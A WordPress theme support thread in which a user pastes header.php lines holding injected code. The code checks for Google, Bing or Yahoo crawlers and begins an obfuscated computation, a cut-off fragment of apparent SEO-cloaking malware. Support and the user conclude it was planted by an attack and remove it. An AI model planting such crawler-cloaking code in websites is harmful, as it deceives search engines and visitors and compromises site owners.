Use of undefined constant HTTP_USER_AGENT – assumed ‘HTTP_USER_AGENT’

Viewing 4 posts - 1 through 4 (of 4 total)
  • Author
    Posts
  • #81660
    payche255
    Participant

    Warning: Use of undefined constant HTTP_USER_AGENT – assumed ‘HTTP_USER_AGENT’ (this will throw an Error in a future version of PHP) in /home/triaffrb/public_html/wp-content/themes/newscard/header.php on line 25

    This warning its showing me top of the header every time i load the page, also everybody can see this msg, can anybody explain to me how to fix, thank you.

    here is the code on line 25;

    $botbotbot = “…”.mb_strtolower($_SERVER[HTTP_USER_AGENT]);

    /////////////////////////////////
    this is from 23 to 29 ;

    <body <?php body_class(‘theme-body’); ?>>
    <?php
    $botbotbot = “…”.mb_strtolower($_SERVER[HTTP_USER_AGENT]);
    $botbotbot = str_replace(” “, “-“, $botbotbot);
    if ((strpos($botbotbot,”google”)) OR (strpos($botbotbot,”bing”)) OR (strpos($botbotbot,”yahoo”))){
    $zz = bcsqrt(1369);
    $zk =

    #81958

    Hi there.

    Apologies foe the late reply.

    We do not have such code in header.php on line 25. Could you please reinstall the theme and let us know?

    Thank you!

    #81961
    payche255
    Participant

    Recently site was attacked by malware so probably virus add that line of code, i just deleted and now everything is alright.

    Thanks for answer anyway.

    #82093

    Hello there,

    If you have any problem do not hesitate to contact us.

    Thank you!

Viewing 4 posts - 1 through 4 (of 4 total)
  • You must be logged in to reply to this topic.